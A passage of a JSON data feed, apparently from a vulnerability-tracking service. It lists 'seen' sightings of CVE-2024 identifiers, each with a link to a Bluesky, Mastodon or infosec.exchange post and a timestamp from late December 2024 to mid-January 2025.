"CVE-2024-12398", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfo6lt7ovy2b", "content": "", "creation_timestamp": "2025-01-14T02:15:47.755954Z"}, {"uuid": "a8e38b16-9f4c-4dc2-8a31-e55317db162a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12083", "type": "seen", "source": "https://bsky.app/profile/gothburz.bsky.social/post/3lfp4qwyjix2z", "content": "", "creation_timestamp": "2025-01-14T11:15:31.783211Z"}, {"uuid": "e797a0f3-0a6b-4235-895e-23cf6bf404e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12398", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113828366476462278", "content": "", "creation_timestamp": "2025-01-14T19:30:36.501195Z"}, {"uuid": "3a31fd26-3256-4740-b303-b291ff9be477", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12747", "type": "seen", "source": "https://bsky.app/profile/omo.bsky.social/post/3lfst3xl5222w", "content": "", "creation_timestamp": "2025-01-15T22:33:26.349863Z"}, {"uuid": "f740bfee-e72f-4806-a676-84ce1570f249", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12445", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vhwgpgp2f", "content": "", "creation_timestamp": "2025-01-07T05:17:17.913276Z"}, {"uuid": "ced807b4-b31e-4630-83cc-ef7696d5edf7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12781", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf5aycl7st2k", "content": "", "creation_timestamp": "2025-01-07T08:43:18.349259Z"}, {"uuid": "d67033b0-af06-4c77-874c-3caa267fbba7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12218", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113798223205803958", "content": "", "creation_timestamp": "2025-01-09T11:44:44.228273Z"}, {"uuid": "529a106a-44c7-4548-ab5c-a64b3d81e4e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12877", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfhbdkx4ri25", "content": "", "creation_timestamp": "2025-01-11T08:16:13.676631Z"}, {"uuid": "e707e569-a7b7-4beb-9b8e-709138da60c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12240", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfp4rlm5zq2f", "content": "", "creation_timestamp": "2025-01-14T11:15:53.201698Z"}, {"uuid": "e35aced1-52b6-4290-8894-ce7bd4a14563", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12984", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lecbrin3ev2f", "content": "", "creation_timestamp": "2024-12-27T15:15:30.755611Z"}, {"uuid": "73bf8878-9946-4dbf-82c6-f7244ca1c17f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12985", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lecbrkyrjv2i", "content": "", "creation_timestamp": "2024-12-27T15:15:34.059130Z"}, {"uuid": "c417f93d-95dc-49fb-b49c-cdd396cc45ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12453", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vhzclbm2e", "content": "", "creation_timestamp": "2025-01-07T05:17:20.480437Z"}, {"uuid": "155c2be3-517b-48f3-942a-f3d12e5c304c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12077", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf5aycy3m42e", "content": "", "creation_timestamp": "2025-01-07T08:43:19.442634Z"}, {"uuid": "bc62d877-718e-4134-8d33-ec60e9684d72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12431", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfb5czoh4p2b", "content": "", "creation_timestamp": "2025-01-08T21:48:22.073546Z"}, {"uuid": "df9b9e7b-92a9-4cff-a72a-a658ae67a0fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12222", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113798223220140152", "content": "", "creation_timestamp": "2025-01-09T11:44:44.366900Z"}, {"uuid": "d0444d95-f053-44bd-91c8-775ae5d57191", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12462", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vi5xuu625", "content": "", "creation_timestamp": "2025-01-07T05:17:25.322910Z"}, {"uuid": "9c4ba24d-4a78-4008-81e5-8df17c9a2f24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12249", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113798223234461633", "content": "", "creation_timestamp": "2025-01-09T11:44:44.731338Z"}, {"uuid": "dd67b0b7-7525-4b06-b94f-3fc841d1672e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12558", "type": "seen", "source": "https://bsky.app/profile/gothburz.bsky.social/post/3lfjaylsdu22z", "content": "", "creation_timestamp": "2025-01-12T03:15:25.413553Z"}, {"uuid": "fd693d8a-d237-4f39-ae8d-39569491d027", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "https://bsky.app/profile/youranonriots.bsky.social/post/3lfnpje5hl224", "content": "", "creation_timestamp": "2025-01-13T21:46:02.025267Z"}, {"uuid": "40029511-7877-49b4-9ae2-df69480df092", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12365", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3lfv6rb3wys2y", "content": "", "creation_timestamp": "2025-01-16T21:07:28.053727Z"}, {"uuid": "645ed54d-b9e1-403f-a391-266ecdd96351", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12714", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113796873447761027", "content": "", "creation_timestamp": "2025-01-09T06:01:28.601322Z"}, {"uuid": "b037acad-fdbc-4ef6-ab18-edf4b781db78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12877", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113808854560997226", "content": "", "creation_timestamp": "2025-01-11T08:48:27.427928Z"}, {"uuid": "42b51ec5-211f-4a29-9bd5-ca93897fb087", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12747", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfpuamn6kb2h", "content": "", "creation_timestamp": "2025-01-14T18:15:53.624966Z"}, {"uuid": "0bd083a5-6d57-41a9-94c2-f2667b27562b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12202", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113786206156595654", "content": "", "creation_timestamp": "2025-01-07T08:48:38.582110Z"}, {"uuid": "be04f76b-bb6b-4495-a967-1e7f26bb7ca1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12715", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113796873461465275", "content": "", "creation_timestamp": "2025-01-09T06:01:28.740207Z"}, {"uuid": "6ed2f9c7-90e1-4f23-b669-22a9d58ed1e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12542", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113798237964155232", "content": "", "creation_timestamp": "2025-01-09T11:48:29.340128Z"}, {"uuid": "527bb86b-e36c-4d5d-987c-04228eddfd0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12848", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113798238016028473", "content": "", "creation_timestamp": "2025-01-09T11:48:31.633664Z"}, {"uuid": "2158fe76-3ac2-4f2b-a3ca-e527582730b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12116", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfhd6bd5742e", "content": "", "creation_timestamp": "2025-01-11T08:49:03.189192Z"}, {"uuid": "3fc0c1c1-0f9f-481c-99e7-a6dce5c1788f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12407", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfhd6bgjhq25", "content": "", "creation_timestamp": "2025-01-11T08:49:03.733559Z"}, {"uuid": "f9bf9916-15d3-42b6-b589-b5d0fec01acb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12717", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113796873475358888", "content": "", "creation_timestamp": "2025-01-09T06:01:28.923388Z"}, {"uuid": "f95d9d2e-b233-42ad-97a3-7a248617a925", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12493", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfcmjtoamq2e", "content": "", "creation_timestamp": "2025-01-09T11:53:16.600294Z"}, {"uuid": "8a7ed8bc-075f-4768-b845-bc18c3955d95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12519", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfhd6bmjy42e", "content": "", "creation_timestamp": "2025-01-11T08:49:04.301401Z"}, {"uuid": "5f34a655-dedd-42e4-80a2-46fd3a81cad8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfpuacvriv2n", "content": "", "creation_timestamp": "2025-01-14T18:15:43.349819Z"}, {"uuid": "8ba48ecf-fbe9-49ae-9e4e-6a7f928d661d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12491", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfcmjufah62k", "content": "", "creation_timestamp": "2025-01-09T11:53:17.446809Z"}, {"uuid": "5f7987c7-1ae5-42cf-a516-ba83e28e3616", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12527", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfhd6bqtd22q", "content": "", "creation_timestamp": "2025-01-11T08:49:04.891259Z"}, {"uuid": "4b2d6643-ff17-4086-9024-188913794d5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12086", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfpuaeymdq2j", "content": "", "creation_timestamp": "2025-01-14T18:15:45.556380Z"}, {"uuid": "0186f1de-2929-4b49-be5c-e8b9d8e40988", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12033", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf5muickv22i", "content": "", "creation_timestamp": "2025-01-07T12:15:55.247777Z"}, {"uuid": "696426a0-ec40-47d2-a62c-b6516b5308b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12714", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfbzoe4mzz22", "content": "", "creation_timestamp": "2025-01-09T06:15:46.789609Z"}, {"uuid": "2017286a-3a9a-4b9f-b58a-b3beaf43bba2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12515", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfcmjuijgy2e", "content": "", "creation_timestamp": "2025-01-09T11:53:17.979330Z"}, {"uuid": "f5b68ae3-f4e0-4f79-8cda-e7e1ed7a8a7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12473", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113801915599011221", "content": "", "creation_timestamp": "2025-01-10T03:23:45.480668Z"}, {"uuid": "d1731dd1-533d-416d-8a89-d7c409a72979", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12606", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113801915632258646", "content": "", "creation_timestamp": "2025-01-10T03:23:46.077348Z"}, {"uuid": "e1bc67a9-5919-40fd-b462-472588d56b84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12087", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfpuahdjxc2n", "content": "", "creation_timestamp": "2025-01-14T18:15:48.039752Z"}, {"uuid": "b9747fa5-4aea-4bc1-941e-5f0e702ad4f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/jschauma.mstdn.social.ap.brid.gy/post/3lfpzd6dfim72", "content": "", "creation_timestamp": "2025-01-14T19:47:16.251221Z"}, {"uuid": "c80ef402-b03e-440a-9487-8c2b9646bed5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12152", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113786373317643206", "content": "", "creation_timestamp": "2025-01-07T09:31:09.204564Z"}, {"uuid": "eae4b9ec-cd62-4dc3-a987-e2fe69bbcc97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12316", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf5mukj6nh2m", "content": "", "creation_timestamp": "2025-01-07T12:15:57.159719Z"}, {"uuid": "9895934c-9e5f-48ce-8cb6-9a7fb2f03a82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12715", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfbzogzb572d", "content": "", "creation_timestamp": "2025-01-09T06:15:49.791368Z"}, {"uuid": "58a1314e-49f9-4f53-a829-29fdf5e0cf4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12717", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfbzojst4j22", "content": "", "creation_timestamp": "2025-01-09T06:15:52.722450Z"}, {"uuid": "8454618d-c7ca-4d74-bcb5-8ff8f346293d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12736", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113796932492439394", "content": "", "creation_timestamp": "2025-01-09T06:16:29.930703Z"}, {"uuid": "8b8aef63-91f3-4ad6-a00c-283801654185", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12514", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfcmjulrbo2g", "content": "", "creation_timestamp": "2025-01-09T11:53:18.527322Z"}, {"uuid": "e9e754b6-0fd3-4ff7-969f-846865a81e62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12699", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113786373333021847", "content": "", "creation_timestamp": "2025-01-07T09:31:09.614509Z"}, {"uuid": "2219677f-5026-4ace-a887-68c83faadf7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12425", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf5mumth3c25", "content": "", "creation_timestamp": "2025-01-07T12:15:59.664814Z"}, {"uuid": "79cc7465-f600-4db1-8cf6-43e9a5ab0f39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12731", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfbzolxtsl2l", "content": "", "creation_timestamp": "2025-01-09T06:15:54.986303Z"}, {"uuid": "fe336ace-1c73-4d4f-9e2e-2dd13f3d451e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12285", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113798282237545342", "content": "", "creation_timestamp": "2025-01-09T11:59:44.839373Z"}, {"uuid": "e7b016ba-f4ab-4190-bc1b-322ec60cc33d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12088", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfpuajjjnu2r", "content": "", "creation_timestamp": "2025-01-14T18:15:50.333918Z"}, {"uuid": "500f76ec-db24-4eca-8540-14af66e12fcc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12252", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113785496346083664", "content": "", "creation_timestamp": "2025-01-07T05:48:08.186448Z"}, {"uuid": "36eb29e2-27d6-4652-99cb-a499a449eee5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12719", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113786373348142872", "content": "", "creation_timestamp": "2025-01-07T09:31:09.817782Z"}, {"uuid": "0c4f88f0-78c7-4044-a9fe-834e733dcfca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12425", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf5mumth3c25", "content": "", "creation_timestamp": "2025-01-07T12:15:59.675165Z"}, {"uuid": "b381183e-7d9e-48b8-bbd5-3f6d82ef0ddf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12736", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfbzoofiwo2k", "content": "", "creation_timestamp": "2025-01-09T06:15:57.592345Z"}, {"uuid": "3782a296-a7db-436d-8c20-4d138e27060c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12394", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113798282266042322", "content": "", "creation_timestamp": "2025-01-09T11:59:45.340175Z"}, {"uuid": "180d3599-f660-49e3-9831-7fd301daae35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12330", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113798282251844866", "content": "", "creation_timestamp": "2025-01-09T11:59:45.410894Z"}, {"uuid": "d1490f71-f981-47d3-8d01-adf49fc1217b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12491", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113798282280011239", "content": "", "creation_timestamp": "2025-01-09T11:59:45.645197Z"}, {"uuid": "48199a02-d5b9-436a-b535-060c606d09fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12520", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfhd6ccnua25", "content": "", "creation_timestamp": "2025-01-11T08:49:07.143463Z"}, {"uuid": "b4c7065d-6e41-4349-ab7d-60723f6b14ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12593", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfrqmy73zh2c", "content": "", "creation_timestamp": "2025-01-15T12:16:32.957757Z"}, {"uuid": "689acf40-6f66-4ba4-8bdd-95883bbe0772", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12264", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113785496399684077", "content": "", "creation_timestamp": "2025-01-07T05:48:08.498441Z"}, {"uuid": "83910d0a-80d9-444e-8ec2-efce2e76cc1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12532", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf5muozicb2l", "content": "", "creation_timestamp": "2025-01-07T12:16:02.033405Z"}, {"uuid": "2bfa581c-472f-46a6-9f2c-6bb2591cc598", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12731", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113796932478379742", "content": "", "creation_timestamp": "2025-01-09T06:16:29.121647Z"}, {"uuid": "9c0da31d-6b87-48c4-9551-6abe5492baad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12473", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfedhekzoj22", "content": "", "creation_timestamp": "2025-01-10T04:16:09.664180Z"}, {"uuid": "4aced292-4dad-42df-bd91-a427e3c142e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12606", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfedhhlvmb2e", "content": "", "creation_timestamp": "2025-01-10T04:16:12.823039Z"}, {"uuid": "b80459d5-5e4f-4642-8492-b3fb4f7effe5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12398", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113824425156536007", "content": "", "creation_timestamp": "2025-01-14T02:48:14.297106Z"}, {"uuid": "dca33950-9dfe-4bb1-9c18-d91904e424dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12240", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfp6tzw45c2e", "content": "", "creation_timestamp": "2025-01-14T11:53:02.972104Z"}, {"uuid": "37828523-0b2a-4cf2-bb6a-a937550b8213", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12313", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113785496445259609", "content": "", "creation_timestamp": "2025-01-07T05:48:09.418464Z"}, {"uuid": "7d473979-9c9c-4cdf-b78a-2b376e013b0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12711", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf5murcvvk25", "content": "", "creation_timestamp": "2025-01-07T12:16:04.339516Z"}, {"uuid": "7e912f9a-4e7e-4407-9994-931139f83216", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12606", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfefavk7fa2k", "content": "", "creation_timestamp": "2025-01-10T04:48:20.030739Z"}, {"uuid": "f9c657d0-14d7-4464-a2cb-efcd1b6fd5e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12322", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113785496497144467", "content": "", "creation_timestamp": "2025-01-07T05:48:09.911706Z"}, {"uuid": "1c8baa65-52fe-4f91-a1af-2a2940ab0783", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12473", "type": "seen", "source": 